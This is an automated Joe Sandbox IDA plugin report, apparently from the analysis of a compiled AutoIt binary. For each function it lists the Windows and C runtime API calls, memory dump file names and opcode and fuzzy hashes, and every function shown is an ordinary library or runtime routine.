Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00E41BFC
Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00E41C07
Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00E41C12
Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00E41C1A
Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00E41C22

Part of subcall function 00E41B4A: RegisterWindowMessageW.USER32(00000004,?,00E412C4), ref: 00E41BA2

GetStdHandle.KERNEL32(000000F6), ref: 00E4136A
OleInitialize.OLE32 ref: 00E41388
CloseHandle.KERNEL32(00000000), ref: 00E824AB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 51fdbf469deb4705ee23785a84b54887528a7636cd9c92a4c6d61db35956947d
Instruction ID: e58b9c5764e5d69171d959777851b6670a220d84d5ebc0884d94e53f86604e78
Opcode Fuzzy Hash: 51fdbf469deb4705ee23785a84b54887528a7636cd9c92a4c6d61db35956947d
Instruction Fuzzy Hash: A471BBB49122098EC784DF7ABD556D53AE2FBC939431AD22ED30AE7362EB304445EF44

Uniqueness

Uniqueness Score: -1.00%

Function 00E454C6 Relevance: 4.6, APIs: 3, Instructions: 103COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00E4556D
SetFilePointerEx.KERNELBASE ref: 00E4557D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e8d2b7316a8f1641fc3d7f1f33b5c96068a679930f610aa262a345534a71127c
Instruction ID: 1d128a05ef3035d31bf8fa5ca7de2b67e463eb14564812b9b77eecf9a4254f21
Opcode Fuzzy Hash: e8d2b7316a8f1641fc3d7f1f33b5c96068a679930f610aa262a345534a71127c
Instruction Fuzzy Hash: 28316072A00609FFDB14CF28D880BADB7B6FB48714F149229E919A7241D775FD94CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00E786AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000), ref: 00E78704
GetLastError.KERNEL32 ref: 00E7870E
__dosmaperr.LIBCMT ref: 00E78739

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: c5426aafde7d1d654531b9aab214a32cd39bbbf51854d5e806b63d8a3c519b17
Instruction ID: fe38efb050363c26f1b2fad7727bbeae81b59a9e53679cfb4daf2084a1714933
Opcode Fuzzy Hash: c5426aafde7d1d654531b9aab214a32cd39bbbf51854d5e806b63d8a3c519b17
Instruction Fuzzy Hash: 31016F33A4512036D62462746A4E77E27868BA177CF35E11AF80CFB0E2DEE08C818650

Uniqueness

Uniqueness Score: -1.00%

Function 00EB2FD8 Relevance: 4.5, APIs: 3, Instructions: 27filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000), ref: 00EB2FF2
SetFileTime.KERNELBASE ref: 00EB3006
CloseHandle.KERNEL32(00000000), ref: 00EB300D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: dd17df7fb8a3c211542d50dec1398a05777845338166e86a4654eedda1fe23e9
Instruction ID: 5b3eee4f605aa078f297602ce132e0eb851112fee2c672be7878cdb81cccc6d5
Opcode Fuzzy Hash: dd17df7fb8a3c211542d50dec1398a05777845338166e86a4654eedda1fe23e9
Instruction Fuzzy Hash: 81E086322822217BD6302766BC0EFCB3B2CDB8ABB5F204221F759750D186A0150582A8

Uniqueness

Uniqueness Score: -1.00%

Function 00E51310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00E517F6

Strings

CALL, xrefs: 00E517C6

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 92d3093bc79a1a9a4e2f539046148784b4e433901cd3f4345ac02ef2edfec284
Instruction ID: d893a3b025ce0fca4bc95f69c8c699fda6fef6558946729a3cc167d1fae87b6f
Opcode Fuzzy Hash: 92d3093bc79a1a9a4e2f539046148784b4e433901cd3f4345ac02ef2edfec284
Instruction Fuzzy Hash: C922AD706083019FC714DF14C481B6ABBF1BF89315F14A99EF896AB362D771E949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00EB6EF1 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 297COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EB6F6B

Part of subcall function 00E44ECB: LoadLibraryExW.KERNELBASE ref: 00E44EFD

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00EB6F5A, 00EB6F63

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: LibraryLoad_wcslen
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 3312870042-2806939583
Opcode ID: c5e64358324553f3081e8f3630809e29475b698217436efbb62aaeaabcd58338
Instruction ID: 8e6ea41566822ccb230a1c69bc379e7128c06fb38526cb0d8bcd48bcfaa465b4
Opcode Fuzzy Hash: c5e64358324553f3081e8f3630809e29475b698217436efbb62aaeaabcd58338
Instruction Fuzzy Hash: 7DB1B3716082018FCB14EF24D4919AFB7E5EFD4314F04582DF496AB6A2EB30ED49CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00E7C827 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00E7C84C

Strings

, xrefs: 00E7C891

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 0370a47310f0d1e7546ffb6b5119a3cdc4b8565640cc153503b2bcc34f45f1c7
Instruction ID: 4ca42ae39904a3a40c5c24c5ff6002adc79b67b0762dae127c34739a8b0a6654
Opcode Fuzzy Hash: 0370a47310f0d1e7546ffb6b5119a3cdc4b8565640cc153503b2bcc34f45f1c7
Instruction Fuzzy Hash: 4D4159705042889ADB25CE64CC84BFABBFDEB85308F2454ECE58EA7142D234AA45DF21

Uniqueness

Uniqueness Score: -1.00%

Function 00E42DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00E82C8C

Part of subcall function 00E43AA2: GetFullPathNameW.KERNEL32 ref: 00E43AC2

Part of subcall function 00E42DA5: GetLongPathNameW.KERNELBASE ref: 00E42DC4

Strings

X, xrefs: 00E82C5A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: 5bd599c2ef7b0e7f46c24ab7bdd5236930f9410afb4e9d29cfc7ff0546909ece
Instruction ID: 479c6942daa0bfd4bce743bbbd05c64fa646392d567b3b362ad9662845bf41e6
Opcode Fuzzy Hash: 5bd599c2ef7b0e7f46c24ab7bdd5236930f9410afb4e9d29cfc7ff0546909ece
Instruction Fuzzy Hash: 4921C370A002589FCB01EF94D805BEE7BFCAF48304F009059E609F7281DBB45A49DF61

Uniqueness

Uniqueness Score: -1.00%

Function 00EB2557 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00EB2587

Strings

EA06, xrefs: 00EB25B9

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: __fread_nolock
String ID: EA06
API String ID: 2638373210-3962188686
Opcode ID: b76c8444f443f7f16130ec82db5bfd9fef11c38c0e7a723745aa74c1a3832eb9
Instruction ID: 193f081664b204fe1c6ffcb034da4e829d6a2c78308fa8be2c5bcf9299748f7e
Opcode Fuzzy Hash: b76c8444f443f7f16130ec82db5bfd9fef11c38c0e7a723745aa74c1a3832eb9
Instruction Fuzzy Hash: CA01F5729442287EDF28C7A8CC16EEEBBF89F05301F00459EE252E21C1E4B4E6088B60

Uniqueness

Uniqueness Score: -1.00%

Function 00E73467 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 00E734D8

Strings

LCMapStringEx, xrefs: 00E73478, 00E73482

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 4d0ad23fb2e99439f5fa65a7dd6860ae9ead8c63714269cca0410e0f3cdf4844
Instruction ID: eb1c37c3ee495f54c789ab5c46fcb3802783ad50d6aadb1c5f25eb7f70fd587a
Opcode Fuzzy Hash: 4d0ad23fb2e99439f5fa65a7dd6860ae9ead8c63714269cca0410e0f3cdf4844
Instruction Fuzzy Hash: 0F01293264120DBBCF165F91DD01DEE3FA6EF08750F008159FE1875160C6769930EB85

Uniqueness

Uniqueness Score: -1.00%

Function 00E73162 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00E731A1

Strings

FlsAlloc, xrefs: 00E73173, 00E7317D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: b136439f276fab5d3694c3d4881020714ccae157bac70639a9cd7f0f3c4f5a07
Instruction ID: 3e1d2a74603a0138ea968aea8af7d6b4ac33be484355e461cab49d2cc730f5b5
Opcode Fuzzy Hash: b136439f276fab5d3694c3d4881020714ccae157bac70639a9cd7f0f3c4f5a07
Instruction Fuzzy Hash: 17E0553178231CABD300AFA2AC02E6EBB98EF48B50B004159FF087B250DDB01F00E6C6

Uniqueness

Uniqueness Score: -1.00%

Function 00E63600 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00E63615

Strings

FlsAlloc, xrefs: 00E63604, 00E6360E

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 702c6d800d12f76be3e42d7a5d688c5ded26c325ec93802654387019d69692d3
Instruction ID: 9789de47c68e4a9ba7cc75e406ea764c3a05e0fa2f2438873291818e3b5716a3
Opcode Fuzzy Hash: 702c6d800d12f76be3e42d7a5d688c5ded26c325ec93802654387019d69692d3
Instruction Fuzzy Hash: 8FD0123278532467D6106BA5BD06AA9BB45DF01BE6F041073FD0A76391D5514A1196C1

Uniqueness

Uniqueness Score: -1.00%

Function 00E7CB7C Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00E7C74F: GetOEMCP.KERNEL32 ref: 00E7C77A

IsValidCodePage.KERNEL32 ref: 00E7CBF0
GetCPInfo.KERNEL32(00000000,00E7CA1D), ref: 00E7CC03

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: f90861a9baf5859a545024714a52c76fd6fb9eadfb5d1c8aefaa8c5bd1cc551c
Instruction ID: 70fb95b585c2bc3a53cab09c7d27119694f87231eb52e7020393c719f633d26d
Opcode Fuzzy Hash: f90861a9baf5859a545024714a52c76fd6fb9eadfb5d1c8aefaa8c5bd1cc551c
Instruction Fuzzy Hash: EB513170A002069FDB26CF75D8816BAFBE8EF41304F34E16ED19EAA251D7349942DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00E7C9BB Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00E72D74: GetLastError.KERNEL32 ref: 00E72D78
Part of subcall function 00E72D74: _free.LIBCMT ref: 00E72DAB
Part of subcall function 00E72D74: SetLastError.KERNEL32(00000000,?,?,?,?,00E6E6D1,?,00F08A48,00000010,00E44F4A,?,?,00000000,00E83CD6), ref: 00E72DEC
Part of subcall function 00E72D74: _abort.LIBCMT ref: 00E72DF2

Part of subcall function 00E7CADA: _abort.LIBCMT ref: 00E7CB0C
Part of subcall function 00E7CADA: _free.LIBCMT ref: 00E7CB40

Part of subcall function 00E7C74F: GetOEMCP.KERNEL32 ref: 00E7C77A

_free.LIBCMT ref: 00E7CA33
_free.LIBCMT ref: 00E7CA69

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: e7898120e260857842384b376bc8d8f0393db7a5aba7ce52cc0bfc8189b23804
Instruction ID: c1898b24f862fd225e73b3a00fcbf2b88065360df0a0600caef09cafe01129a6
Opcode Fuzzy Hash: e7898120e260857842384b376bc8d8f0393db7a5aba7ce52cc0bfc8189b23804
Instruction Fuzzy Hash: 7F31B43190420CAFDB10EBA8D441B99B7F9EF40325F35919DE90DBB2A2EB319E41DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00E72FD7 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00E73037
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00E73044

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: d068030127168a234b9d5fcf4597232f38fa725d4a8c9b26af8ac68c8331eac6
Instruction ID: aa8e019ac098b333d652aaae7af7730e76906337178d7e650a4ac758b69e0d26
Opcode Fuzzy Hash: d068030127168a234b9d5fcf4597232f38fa725d4a8c9b26af8ac68c8331eac6
Instruction Fuzzy Hash: C2110633A001259FDB719F39EC4099A7395AB807647169220FD19FB258DB31EE01F7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00E45745 Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00E45773
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000), ref: 00E84052

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 033bbb1c5a05f75b1dced10dee1e4bb721d609a0d4606901d0bc7b9c9dcb0c56
Instruction ID: 6d15a3a4836478fabdac8207f5df8289affbf850725ffece3d4fcc213a810a36
Opcode Fuzzy Hash: 033bbb1c5a05f75b1dced10dee1e4bb721d609a0d4606901d0bc7b9c9dcb0c56
Instruction Fuzzy Hash: 9E019231145225BBE3301A2AEC0EF977F98EF027B4F109316BAAC7A1E1C7B45854CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00E63414 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 00E63600: try_get_function.LIBVCRUNTIME ref: 00E63615

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E63432
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00E6343D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 8f2d47e2eb3c9322a7a26120f96702eed807625fec67c0d031c0fdc7ffaca1d7
Instruction ID: 24685179f14b48a02e52ff83982b9d61cbf62d72ca74ccd23b263aba77c3a938
Opcode Fuzzy Hash: 8f2d47e2eb3c9322a7a26120f96702eed807625fec67c0d031c0fdc7ffaca1d7
Instruction Fuzzy Hash: 8CD0A930AC8301A84C25ABB4B80309DA6809801BF83A03356E430F92C3EF20C3413012

Uniqueness

Uniqueness Score: -1.00%

Function 00E4B710 Relevance: 2.1, APIs: 1, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00E4BB4E

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 98c3ff24d8cb4b0e1e2e02101f32352bc1820215a4c110230e651421c008a256
Instruction ID: 4fff29daffe4fad177b2dcd80671b64822db806816c8d5fd5fb3958053372cb5
Opcode Fuzzy Hash: 98c3ff24d8cb4b0e1e2e02101f32352bc1820215a4c110230e651421c008a256
Instruction Fuzzy Hash: 5432CB30A00209DFCF24CF54D894ABEB7B9EF48308F59A059E915BB261C775ED81DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E44ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E44E90: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00E44E9C
Part of subcall function 00E44E90: GetProcAddress.KERNEL32 ref: 00E44EAE
Part of subcall function 00E44E90: FreeLibrary.KERNEL32 ref: 00E44EC0

LoadLibraryExW.KERNELBASE ref: 00E44EFD

Part of subcall function 00E44E59: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00E44E62
Part of subcall function 00E44E59: GetProcAddress.KERNEL32 ref: 00E44E74
Part of subcall function 00E44E59: FreeLibrary.KERNEL32 ref: 00E44E87

